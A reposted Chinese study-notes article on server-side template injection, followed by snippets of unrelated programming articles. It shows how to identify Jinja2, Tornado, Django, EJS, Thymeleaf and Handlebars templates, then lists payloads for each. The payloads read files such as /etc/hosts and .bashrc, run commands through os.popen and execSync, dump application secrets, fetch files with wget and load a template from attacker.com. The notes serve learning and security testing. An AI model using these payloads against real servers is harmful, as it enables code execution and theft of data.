ssti学习笔记(服务器端模板注入)

目录

一,ssti是什么

二,原理

所谓模板引擎(三列,可滑动查看)

 三,漏洞复现

1,如何判断其所属的模板引擎?

2,判断清楚后开始注入

(1)Jinja2(Python)

针对 Flask 应用的攻击

读取文件

执行系统命令

加载并执行 Python 模块

(2),Tornado 模板引擎(Python)

信息获取类

读取文件

(3)Django 模板引擎(Python)

利用视图传递对象属性

绕过过滤器限制(若存在)

(4),EJS(JavaScript,用于 Node.js 的 Express 框架)

读取文件

执行系统命令

(5),Thymeleaf(Java,常用于 Spring Boot)

利用 Java 反射执行代码

利用 Spring 上下文获取 Bean

(6),Handlebars(JavaScript)

结合动态部分模板加载漏洞

结合 JavaScript 注入(若与 JavaScript 交互)


一,ssti是什么

SSTI 通常是指服务器端模板注入攻击者可以利用该漏洞在服务器端注入恶意代码或命令,从而执行非授权的操作、获取敏感信息或控制服务器

二,原理

  • 模板引擎的作用是将模板数据结合起来生成最终的 HTML 页面或其他格式的文档。正常情况下,用户输入的数据会被模板引擎按照一定的规则进行处理和显示,以确保数据的安全性和正确性。
  • 但当应用程序存在 SSTI 漏洞时,攻击者可以通过精心构造输入数据,使其被模板引擎当作代码来执行。例如,攻击者可能会在一个评论框或搜索框中输入特定的代码片段,如果应用程序没有对输入进行充分的验证和过滤,模板引擎就可能会执行这些恶意代码,从而导致漏洞被利用。

示例:搜索框中触发ssti

url处的划线部分是编码后的{ {6*6}} ,出现36便证明了页面存在ssti漏洞

所谓模板引擎

编程语言web框架模板引擎
PythonFlaskJinja2
PythonTornadoTornado 模板引擎
PythonDjangoDjango模板引擎
JavaSpring BootThymeleaf
JavaStruts2FreeMarker
JavaScriptExpress(Node.js)EJS
JavaScriptHapi(Node.js)Handlebars
PHPSymfonyTwig
PHPCodeIgniterSmarty

不同编程语言有不同的 Web 框架,每个 Web 框架对应一个模板引擎。 

注意:Tornado不但是一个框架,还是个web服务器(表中橙色那个)

 三,漏洞复现

Web 安全漏洞中遇到服务器端模板注入,需要先判断模板引擎,再根据模板引擎来构造输入。

1,如何判断其所属的模板引擎?

(1),Jinja2(Python)

简单表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Jinja2

控制结构测试:输入 {% for i in range(3) %}{ { i }}{% endfor %},若页面输出 012,进一步表明是Jinja2

过滤器测试:输入 { { 'hello'|upper }},若页面返回 HELLO,符合Jinja2语法

(2),Tornado 模板引擎(Python) 

表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Tornado模板引擎。

逻辑控制测试:输入 {% for i in [0, 1, 2] %}{ { i }}{% end %},若页面输出 012,符合Tornado语法。

(3), Django 模板引擎(Python)

简单表达式与过滤器测试:输入 { { 5|add:3 }},若页面返回 8,可能是Django模板引擎

逻辑判断测试:输入 {% if 5 > 3 %}True{% else %}False{% endif %},若页面返回 True,符合Django语法。

(4),EJS(JavaScript,用于Node.js的Express框架)

表达式输出测试:输入 <%= 5 + 3 %>,若页面返回 8,可能是EJS。

 JavaScript代码嵌入测试:输入<% for (let i = 0; i < 3; i++) { %><%= i %><% } %>,若页面输出 012,符合EJS语法。

(5),Thymeleaf(Java,常用于Spring Boot)

变量表达式测试:输入 ${5 + 3},若页面返回 8,可能是Thymeleaf。

条件判断测试(使用Thymeleaf属性):输入(在HTML标签中) <p th:if="${5 > 3}">True</p>,若页面显示 True,符合Thymeleaf语法。

(6),Handlebars(JavaScript)

变量输出测试:输入 { { someVariable }}(假设传递了 someVariable变量),若页面显示该变量的值,可能是Handlebars。

部分模板调用测试:输入 { {> partialTemplate }}(假设定义了 partialTemplate 部分模板),若页面正确渲染部分模板内容,则是Handlebars。
 

2,判断清楚后开始注入

(1)Jinja2(Python)

针对 Flask 应用的攻击
  • 读取 Flask 应用的 FLAG
    • 输入:{ { url_for.__globals__['current_app'].config['FLAG'] }}
    • 原理:url_for 是 Flask 函数,__globals__ 指向其全局命名空间,current_app 是 Flask 应用实例,config 存储配置信息,攻击者借此获取敏感的 FLAG
  • 执行任意 Python 代码(通过导入模块)
    • 输入:{ { url_for.__globals__['__import__']('os').popen('ls /').read() }}
    • 原理:利用 __import__ 动态导入 os 模块,用 os.popen 执行系统命令 ls / 并读取输出。
  • 获取 Flask 应用的所有配置项
    • 输入:{ { url_for.__globals__['current_app'].config.items() }}
    • 原理:访问 config.items() 获取 Flask 应用所有配置项及对应值,可能包含数据库连接信息、API 密钥等敏感信息。
读取文件
  • 读取 /etc/hosts 文件
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[40]('/etc/hosts').read() }}
    • 原理:与读取 /etc/passwd 类似,通过 Python 内置对象和方法定位到文件操作类,读取指定文件内容。
  • 动态指定文件路径
    • 输入:{ { request.args.file|string.__class__.__mro__[2].__subclasses__()[40](request.args.file).read() }}?file=/etc/hosts
    • 原理:利用请求参数动态指定要读取的文件路径,增加攻击的灵活性。
执行系统命令
  • 查看当前工作目录
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('pwd').read() }}
    • 原理:使用 os.popen 执行 pwd 命令,返回当前工作目录。
  • 查看系统进程信息
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('ps -ef').read() }}
    • 原理:执行 ps -ef 命令,查看系统中所有进程的详细信息。
加载并执行 Python 模块
  • 导入并执行 socket 模块
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['__import__']('socket').gethostname() }}
    • 原理:通过 __import__ 函数动态导入 socket 模块,然后调用 gethostname 方法获取主机名。

    (2),Tornado 模板引擎(Python)

    信息获取类
    • 获取应用配置信息
      • 输入:{ { handler.settings }}
      • 原理:在 Tornado 框架里,handler 通常指继承自 tornado.web.RequestHandler 的请求处理类实例,settings 是 Tornado 应用程序的配置设置对象。此表达式可输出当前请求处理类实例所关联的应用配置信息,若配置信息包含敏感内容,直接输出会导致信息泄露。
    • 获取请求相关信息
      • 输入:{ { handler.request }}
      • 原理:handler.request 包含了客户端请求的详细信息,如请求方法、请求头、请求参数等。攻击者可借此了解请求的上下文,为后续攻击做准备。
    读取文件
    • 读取 /proc/version 文件(获取系统版本信息)
      • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[40]('/proc/version').read() }}
      • 原理:同 Jinja2 读取文件原理,利用 Python 内置对象和方法读取指定文件内容。

    (3)Django 模板引擎(Python)

    利用视图传递对象属性
    • 假设视图传递了 settings 对象获取数据库配置
      • 输入:{ { settings.DATABASES.default }}
      • 原理:尝试访问视图传递的 settings 对象中的数据库配置信息。
    • 假设视图传递了 request 对象获取请求信息
      • 输入:{ { request.META }}
      • 原理:获取请求的元数据信息,可能包含客户端 IP、请求头信息等。
    绕过过滤器限制(若存在)
    • 假设存在一个自定义过滤器限制了输出
      • 输入:{ { 'a'|add:'b'|add:'c' }}
      • 原理:通过多个过滤器组合绕过单一过滤器的限制,拼接字符串。

    (4),EJS(JavaScript,用于 Node.js 的 Express 框架)

    读取文件
    • 读取项目根目录下的 package.json 文件
      • 输入:<% var fs = require('fs'); console.log(fs.readFileSync('./package.json', 'utf8')) %>
      • 原理:使用 Node.js 的 fs 模块读取项目根目录下的 package.json 文件内容。
    • 读取用户主目录下的 .bashrc 文件(Linux 系统)
      • 输入:<% var fs = require('fs'); console.log(fs.readFileSync(process.env.HOME + '/.bashrc', 'utf8')) %>
      • 原理:通过 process.env.HOME 获取用户主目录路径,然后读取 .bashrc 文件内容。
    执行系统命令
    • 创建一个新文件
      • 输入:<% var { execSync } = require('child_process'); execSync('touch /tmp/test.txt') %>
      • 原理:使用 child_process 模块的 execSync 方法执行 touch 命令创建一个新文件。
    • 下载一个文件(使用 wget
      • 输入:<% var { execSync } = require('child_process'); execSync('wget http://example.com/file.txt -O /tmp/downloaded.txt') %>
      • 原理:执行 wget 命令从指定 URL 下载文件并保存到本地。

    (5),Thymeleaf(Java,常用于 Spring Boot)

    利用 Java 反射执行代码
    • 获取系统属性
      • 输入:${T(java.lang.System).getProperties()}
      • 原理:通过 Java 反射调用 System 类的 getProperties 方法获取系统属性。
    • 执行 Java 代码创建文件
      • 输入:${T(java.io.File).createTempFile('test', '.txt')}
      • 原理:使用反射调用 File 类的 createTempFile 方法创建一个临时文件。
    利用 Spring 上下文获取 Bean
    • 假设存在一个名为 userService 的 Bean
      • 输入:${@userService.getUserById(1)}
      • 原理:通过 Spring 表达式语言(SpEL)从 Spring 上下文中获取 userService Bean,并调用其 getUserById 方法。

    (6),Handlebars(JavaScript)

    结合动态部分模板加载漏洞
    • 尝试读取不同目录下的文件
      • 输入:{ {> ../../../../var/log/syslog }}(假设应用未对路径进行严格验证,适用于 Linux 系统)
      • 原理:利用部分模板加载机制,尝试读取系统日志文件。
    • 尝试加载远程文件(若应用存在协议绕过漏洞)
      • 输入:{ {> http://attacker.com/malicious_template.hbs }}
      • 原理:如果应用在加载部分模板时未对 URL 进行严格验证,可能会加载远程恶意模板。
    结合 JavaScript 注入(若与 JavaScript 交互)
    • 假设 Handlebars 模板用于生成 JavaScript 代码
      • 输入:{ { '" + alert("XSS") + "' }}
      • 原理:如果模板输出被嵌入到 JavaScript 代码中,可能会导致 XSS 漏洞,弹出警告框。

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/14878.html

    如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    解决基于FastAPI Swagger UI的文档打不开的问题

    基于FastAPI Swagger UI的文档链接/docs和/redoc在没有外网的状态下无法打开&#xff0c;原因是Swagger依赖的JS和CSS来自CDN。 https://cdn.jsdelivr.net/npm/swagger-ui-dist5/swagger-ui-bundle.js https://cdn.jsdelivr.net/npm/swagger-ui-dist5/swagger-ui.css https://…

    07苍穹外卖之redis缓存商品、购物车(redis案例缓存实现)

    课程内容 缓存菜品 缓存套餐 添加购物车 查看购物车 清空购物车 功能实现&#xff1a;缓存商品、购物车 效果图&#xff1a; 1. 缓存菜品 1.1 问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得&#xff0c;如果用户端访问量比较大&#xff0c;数据库访问压…

    UML学习

    定义&#xff1a;UML是一种用于软件系统分析和设计的标准化建模语言。 作用&#xff1a;用于描述系统的结构、行为、交互等。共定义了10种,并分为4类 ①用例图 user case diagram : 从外部用户的角度描述系统的功能,并指出功能的执行者. 静态图(②类图 class diagram ③,对象…

    ChatGPT提问技巧:行业热门应用提示词案例-文案写作

    ChatGPT 作为强大的 AI 语言模型&#xff0c;已经成为文案写作的得力助手。但要让它写出真正符合你需求的文案&#xff0c;关键在于如何与它“沟通”&#xff0c;也就是如何设计提示词&#xff08;Prompt&#xff09;。以下是一些实用的提示词案例&#xff0c;帮助你解锁 ChatG…

    w~Transformer~合集5

    我自己的原文哦~ https://blog.51cto.com/whaosoft/12406495 #transformer~x1 太可怕了都到6了 太强~~ DeepMind 表示&#xff0c;他们提出的算法蒸馏&#xff08;AD&#xff09;是首个通过对具有模仿损失的离线数据进行顺序建模以展示上下文强化学习的方法。同时基于观察…

    视频采集卡接口

    采集卡的正面有MIC IN、LINE IN以及AUDIO OUT三个接口&#xff0c; MIC IN为麦克风输入&#xff0c;我们如果要给采集到的视频实时配音或者是在直播的时候进行讲解&#xff0c;就可以在这里插入一个麦克风&#xff0c; LINE IN为音频线路输入&#xff0c;可以外接播放背景音乐…

    【Linux】29.Linux 多线程(3)

    文章目录 8.4 生产者消费者模型8.4.1 为何要使用生产者消费者模型8.4.2 生产者消费者模型优点 8.5 基于BlockingQueue的生产者消费者模型8.5.1 C queue模拟阻塞队列的生产消费模型 8.6. 为什么pthread_cond_wait 需要互斥量?8.7 条件变量使用规范8.8 条件变量的封装8.9 POSIX信…

    【漫话机器学习系列】084.偏差和方差的权衡(Bias-Variance Tradeoff)

    偏差和方差的权衡&#xff08;Bias-Variance Tradeoff&#xff09; 1. 引言 在机器学习模型的训练过程中&#xff0c;我们常常面临一个重要的挑战&#xff1a;如何平衡 偏差&#xff08;Bias&#xff09; 和 方差&#xff08;Variance&#xff09;&#xff0c;以提升模型的泛…

    OpenCV:视频背景减除

    目录 简述 1. MOG &#x1f537;1.1 主要特点 &#x1f537;1.2 代码示例 &#x1f537;1.3 运行效果 2. MOG2 &#x1f537;2.1 主要特点 &#x1f537;2.2 代码示例 &#x1f537;2.3 运行效果 3. KNN 4. GMG 5. CNT 6. LSBP 7. 如何选择适合的接口&#xff…

    【SpringBoot篇】基于Redis分布式锁的 误删问题 和 原子性问题

    文章目录 ??Redis的分布式锁??误删问题 ??解决方法??代码实现 ??原子性问题 ??Lua脚本 ?利用Java代码调用Lua脚本改造分布式锁??代码实现 ??Redis的分布式锁 Redis的分布式锁是通过利用Redis的原子操作和特性来实现的。在分布式环境中&#xff0c;多个应用…

    计算机视觉语义分割——Attention U-Net(Learning Where to Look for the Pancreas)

    计算机视觉语义分割——Attention U-Net(Learning Where to Look for the Pancreas) 文章目录 计算机视觉语义分割——Attention U-Net(Learning Where to Look for the Pancreas)摘要Abstract一、Attention U-Net1. 基本思想2. Attention Gate模块3. 软注意力与硬注意力4. 实验…

    Unity笔试常考

    线程同步的几种方式 1.信号量pv操作 2.互斥加锁 3.条件变量 五层网络协议指的是哪五层 1.应用层 2.运输层 3.网络层 4.链路层 5.物理层 TCP和UDP区别 tcp 面向连接&#xff0c;保证发送顺序&#xff0c;速度慢&#xff0c;必须在线&#xff0c;三次握手&#xff0c;4次挥手…

    Docker数据卷管理及优化

    一、基础概念 1.docker数据卷是一个可供容器使用的特殊目录&#xff0c;它绕过了容器的文件系统&#xff0c;直接将数据存在宿主机上。 2.docker数据卷的作用&#xff1a; 数据持久化&#xff1a;即使容器被删除或重建数据卷中的数据仍然存在 数据共享&#xff1a;多个容器可以…

    【AIGC】冷启动数据与多阶段训练在 DeepSeek 中的作用

    博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;冷启动数据的作用冷启动数据设计 &#x1f4af;多阶段训练的作用阶段 1&#xff1a;冷启动微调阶段 2&#xff1a;推理导向强化学习&#xff08;RL&#xff0…

    Qt:项目文件解析

    目录 QWidget基础项目文件解析 .pro文件解析 widget.h文件解析 widget.cpp文件解析 widget.ui文件解析 main.cpp文件解析 认识对象模型 窗口坐标系 QWidget基础项目文件解析 .pro文件解析 工程新建好之后&#xff0c;在工程目录列表中有⼀个后缀为 ".pro" …

    BiGRU双向门控循环单元多变量多步预测,光伏功率预测(Matlab完整源码和数据)

    代码地址&#xff1a;BiGRU双向门控循环单元多变量多步预测&#xff0c;光伏功率预测&#xff08;Matlab完整源码和数据) BiGRU双向门控循环单元多变量多步预测&#xff0c;光伏功率预测 一、引言 1.1、研究背景和意义 随着全球对可再生能源需求的不断增长&#xff0c;光伏…

    数据结构与算法-递归

    单路递归 二分查找 /*** 主函数&#xff1a;执行二分查找。* * param a 要搜索的数组&#xff08;必须是已排序的&#xff09;* param target 目标值* return 返回目标值在数组中的索引&#xff1b;如果未找到&#xff0c;则返回 -1*/ public static int binarySearch(int[] …

    【STM32F1】一种使用通用定时器实现各个通道独立输出不同指定数量脉冲的方法

    一种使用通用定时器实现独立通道输出指定数量脉冲的方法 一种使用通用定时器实现独立通道输出指定数量脉冲的方法概述实验平台配置步骤1. 初始化定时器与GPIO2. 设置定时器工作模式3. 编写脉冲计数逻辑4. 调整参数以满足要求注意事项 代码实现电机结构体配置&#xff0c;GPIO配…

    【Java基础】序列化、反序列化和不可变类

    Hi~&#xff01;这里是奋斗的明志&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f331;&#x1f331;个人主页&#xff1a;奋斗的明志 &#x1f331;&#x1f331;所属专栏&#xff1a;Java基础面经 &#x1f4da;本系列文章为个…

    android apk反编译

    使用解压工具解压apk&#xff0c;使用dex2jar解析其中的dex文件为jar文件&#xff0c;再使用jd-gui将class反编译为java文件 1 工具下载 dex2jar下载 https://github.com/pxb1988/dex2jar/releases 直接去github上下载最新发布版本 注意&#xff0c;如果后面使用过程中遇到No…